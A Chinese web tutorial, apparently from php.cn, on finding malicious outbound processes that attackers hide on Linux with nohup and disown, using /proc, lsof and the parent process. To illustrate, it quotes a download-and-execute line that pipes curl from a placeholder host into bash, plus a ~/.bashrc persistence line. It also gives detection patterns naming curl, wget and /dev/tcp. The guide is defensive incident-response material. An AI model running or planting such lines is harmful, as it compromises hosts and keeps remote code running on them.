讲师中心 微信公众号
AI工具推荐 视频效率加速

Linux怎么排查被黑客使用nohup加disown隐藏在后台的恶意外联程序

阿雪君_3344

阿雪君_3344

发布时间:2026-11-03 12:39:47

|

426人浏览过

|

来源于php中文网

原创

ps aux无法显示真实命令行,因默认截断且COMMAND列优先fallback至comm;攻击者用nohup+disown配合临时路径、删除原文件及混淆参数,使进程隐藏于内存中,需结合/proc/PID/cmdline、exe、environ及网络行为综合研判。

linux怎么排查被黑客使用nohup加disown隐藏在后台的恶意外联程序

直接看 /proc 目录下进程的启动参数和可执行路径,nohup 和 disown 本身不隐藏进程,只是绕过终端信号控制——真正难发现的是它们配合临时路径、混淆参数、删除原文件后的“内存马”行为。

为什么 ps aux 看不到真实命令行?

攻击者常用 nohup bash -c 'curl http://x.x/x | bash' & 启动后立即 disown,此时 ps aux 显示的 COMMAND 列可能只显示 bash 或被截断,无法看出实际载荷。

  • ps 默认只显示前 40 字符左右的命令行,长参数直接被省略
  • disown 不影响进程存在,但会让它脱离 job control,jobs 命令查不到
  • 更隐蔽的做法是:下载脚本后立刻 rm,再用 bash /tmp/.a 执行,最后 rm /tmp/.a ——此时 /proc/[PID]/exe 指向 (deleted)

怎么定位这类 nohup+disown 的恶意进程?

关键不是找 “nohup” 字样,而是找异常启动方式 + 异常路径 + 异常网络行为。

Linux Security Scanner
Linux Security Scanner

Linux 安全审计工具,检查 SSH 配置、开放/监听端口、防火墙规则(ufw/iptables/nftables)、失败登录尝试、sudoers 权限...

下载
  • 用 ls -l /proc/[PID]/exe 查每个可疑 PID 的真实可执行文件路径,输出含 (deleted) 的必须重点跟进
  • 用 cat /proc/[PID]/cmdline | tr '\0' '\n' 完整还原启动参数(注意 \0 分隔),能暴露 base64 解码、远程下载等逻辑
  • 用 lsof -p [PID] -i 看该进程是否在连接非常规 IP 或端口(如大量连接矿池域名、C2 的 HTTPS 高位端口)
  • 对 CPU 占用高但 ps 显示命令名极短的进程(如只有 sh、bash、python),优先检查其 /proc/[PID]/cwd 和 /proc/[PID]/environ

哪些路径和参数组合基本等于可疑?

不用逐个猜,盯死这几类硬特征:

  • 可执行路径在 /tmp、/dev/shm、/var/tmp 下,且文件名含随机字符(如 .X11-unix/.a、/tmp/kthreadd)
  • cmdline 中出现 curl、wget、base64、echo.*|.*sh、nohup.*&、/dev/tcp/ 等组合
  • 进程属主是普通用户,但监听了高位端口(如 :31337、:55555)或向外发起大量 ESTABLISHED 连接
  • lsof -p [PID] -a -d cwd 显示当前工作目录是 /tmp 或空路径(说明启动时未指定目录)

别漏掉环境变量和父进程线索

很多 nohup 进程是从 shell 初始化文件里拉起的,比如 ~/.bashrc 末尾藏了一行 nohup /tmp/.b && disown。

  • 运行 grep -E "(nohup|disown|&&|&)" ~/.bashrc ~/.profile ~/.bash_profile 2>/dev/null 快速扫一遍
  • 用 ps -o ppid= -p [PID] 查父进程 ID,再用 ps -fp [PPID] 看它是谁拉起来的——常指向 sshd 或某个登录 shell
  • 检查 /proc/[PID]/environ,用 strings /proc/[PID]/environ | grep -E "(http|curl|wget)",有时 URL 藏在环境变量里

最麻烦的情况是:进程没落地文件、没写日志、父进程已退出,只剩一个孤零零的 bash 在跑。这时候必须结合 netstat -tunap 或 lsof -i 锁定外连目标,再反向查哪个进程在持续发包——因为 nohup 和 disown 只是“甩手”,不解决通信本质。

热门AI工具

更多
WorkBuddy

一款AI办公效率工具,主要用于腾讯云推出的AI原生桌面智能体工作台,适合需要提升相关任务效率的用户。

二狗PPT
二狗PPT Hot

一款AI演示文稿工具,主要用于专为中式职场打造的AI PPT生成工具,适合需要提升相关任务效率的用户。

讯飞绘文

讯飞绘文是一款由科大讯飞推出的一站式 AIGC 内容运营平台。

切问学术

切问学术是一款AI论文写作工具,复旦大学NLP团队推出的AI学术智能体。

VibeKnow
VibeKnow Hot

一款AI视频创作工具,主要用于全球首个AI知识视频创作平台,文档、文章、网页,一键生成视频,适合需要提升相关任务效率的用户。

Seko
Seko Hot

一款AI视频创作工具,主要用于商汤科技推出的创编一体的AI短视频创作Agent,适合需要提升相关任务效率的用户。

DeepSeek

DeepSeek是一款面向对话、写作、编程和推理场景的AI大模型工具。

Flowith
Flowith Hot

Flowith是一款基于画布和智能体工作流的 AI 协作工作空间。

豆包大模型

豆包大模型是一款由字节跳动推出的企业级大语言模型服务平台。

相关专题

更多
磁盘配额是什么
磁盘配额是什么

磁盘配额是计算机中指定磁盘的储存限制,就是管理员可以为用户所能使用的磁盘空间进行配额限制,每一用户只能使用最大配额范围内的磁盘空间。php中文网为大家提供各种磁盘配额相关的内容,教程,供大家免费下载安装。

4370

2023.06.21

如何安装LINUX
如何安装LINUX

本站专题提供如何安装LINUX的相关教程文章,还有相关的下载、课程,大家可以免费体验。

3673

2023.06.29

linux find
linux find

find是linux命令,它将档案系统内符合 expression 的档案列出来。可以指要档案的名称、类别、时间、大小、权限等不同资讯的组合,只有完全相符的才会被列出来。find根据下列规则判断 path 和 expression,在命令列上第一个 - ( ) , ! 之前的部分为 path,之后的是 expression。还有指DOS 命令 find,Excel 函数 find等。本站专题提供linux find相关教程文章,还有相关

2953

2023.06.30

linux修改文件名
linux修改文件名

本专题为大家提供linux修改文件名相关的文章,这些文章可以帮助用户快速轻松地完成文件名的修改工作,大家可以免费体验。

7270

2023.07.05

linux系统安装教程
linux系统安装教程

linux系统是一种可以免费使用,自由传播,多用户、多任务、多线程、多CPU的操作系统。本专题提供linux系统安装教程相关的文章,大家可以免费体验。

6902

2023.07.06

linux查看文件夹大小
linux查看文件夹大小

Linux是一种自由和开放源码的类Unix操作系统,存在着许多不同的Linux版本,但它们都使用了Linux内核。Linux可安装在各种计算机硬件设备中,比如手机、平板电脑、路由器、视频游戏控制台、台式计算机、大型机和超级计算机。linux怎么查看文件夹大小呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

3933

2023.07.20

linux查看ip命令
linux查看ip命令

本专题为大家提供linux查看ip命令相关文章内容,感兴趣的朋友可以免费下载体验试试。

3425

2023.07.20

linux查看cpu使用率
linux查看cpu使用率

在linux的系统维护中,可能需要经常查看cpu使用率,分析系统整体的运行情况。本专题为大家带来了linux查看cpu使用率的相关文章,感兴趣的朋友千万不要错过了。

3679

2023.07.25

Tailwind CSS 如何制作导航栏和卡片
Tailwind CSS 如何制作导航栏和卡片

用 Tailwind CSS 制作导航栏和卡片,可先搭建语义化结构,再组合 Flex、Grid、间距、圆角与阴影类。这里整理横向导航、移动端菜单、卡片网格及悬停效果的相关文章,帮助你把常见页面组件做得清晰且适配不同屏幕。

0

2026.11.03

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
phpMyAdmin 安装文档
phpMyAdmin 安装文档

共0课时 | 0人学习

ubuntu官方总文档
ubuntu官方总文档

共0课时 | 0人学习

phpstorm开发手册
phpstorm开发手册

共0课时 | 0人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn